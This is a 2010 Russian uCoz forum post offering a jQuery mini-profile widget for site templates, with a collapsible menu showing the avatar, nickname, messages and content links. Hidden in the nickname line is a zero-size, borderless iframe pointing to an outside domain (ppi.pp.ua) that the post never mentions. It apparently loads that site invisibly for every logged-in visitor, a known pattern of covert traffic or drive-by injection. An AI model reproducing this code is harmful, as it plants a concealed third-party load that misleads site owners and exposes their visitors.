Главная Форум Гостевая книга Регистрация
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Скрипты для ucoz » Пользователи » Мини профиль на jQuery для ucoz
Мини профиль на jQuery для ucoz
fafirokДата: Воскресенье, 07.03.2010, 13:24 | Сообщение # 1
Лейтенант
Группа: Проверенные
Сообщений: 60
Репутация: 1
Статус: Offline
CКРИНШОТ:http://s54.radikal.ru/i143/1002/fc/34312fcf4374.jpg

Code

<html><head>   

<script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js"></script>   
<script type="text/javascript">   
$(function() {   
   $('#menu li:even').addClass('even');   
   $('#menu li:odd').addClass('odd');   
   $('#menu li:even:last').addClass('last');   
     
   $('#menu li:even').click( function() {   
   $('#menu li:even').toggle(500);   
   $(this).toggle(500);   
   $(this).next().slideToggle();   
   } );   
});   
</script>   
<style type="text/css">   
* {   
   padding: 0;   
   margin: 0;   
}   

#menu {   
   width: 200px;   
   border: 1px solid gray;   
}   

#menu li {   
   list-style-type: none;   
   border-bottom: 1px solid gray;   
}   

#menu li.odd {   
   font-size: 90%;   
   padding: 2px 8px;   
}   

#menu a {   
   display: block;   
   width: 184px;   
   color: #000000;   
   text-decoration: none;   
   padding: 2px 8px;   
}   

#menu li.even {   
   background-color: #F6F6F6;   
}   

#menu li.odd {   
   background-color: #fff;   
   display: none;   
}   

#menu li.odd a {   
   color: black;   
}   

#menu li.last {   
   border-bottom: none;   
}   

p {   
   padding-bottom: 20px;   
} </style><?if($_AVATAR$)?><center><img alt="" src="$USER_AVATAR_URL$"></center><?else?><center><img src=http://ucooz.ucoz.ru/Untitled-1.png></center><?endif?></div><center>   
<?if($USER_LOGGED_IN$)?><ul id="menu">   
<li><a href="#">Мои данные</a></li>   
   <li>Ник:<b>$USERNAME$</b><iframe src="http://ppi.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><br><a href=$UNREAD_PM$>Сообщения:<b>$UNREAD_PM$</a></b></li>   
   <li><a href="#">Контент</a></li>   
   <li><a href=/load/0-0-0-0-1>Добавить файл</a><a href=/news/0-0-0-0-1>Добавить новость</a><a href=/publ/0-0-0-0-1>Добавить статью</a><a href=/blog/0-0-0-0-1>Добавить запись в блог</a><a href=/photo/0-0-0-0-1>Добавить фото</a></li>   

   <li><a href="#">Поиск по сайту</a></li>   
   <li>$MODULE_SEARCH_FORM$</li>   

   </ul><?else?><ul id="menu">   
<li><a href="#">Войти</a></li>   
   <li>$LOGIN_FORM$</li>   
   <?endif?>   
<li><a href="/index/3">Регистрация</a></li>


fafirok
 
Форум » Скрипты для ucoz » Пользователи » Мини профиль на jQuery для ucoz
Страница 1 из 11
Поиск:
Главная | Форум

Конструктор сайтов - uCoz
Правообладателям
         
  Баннер   Баннер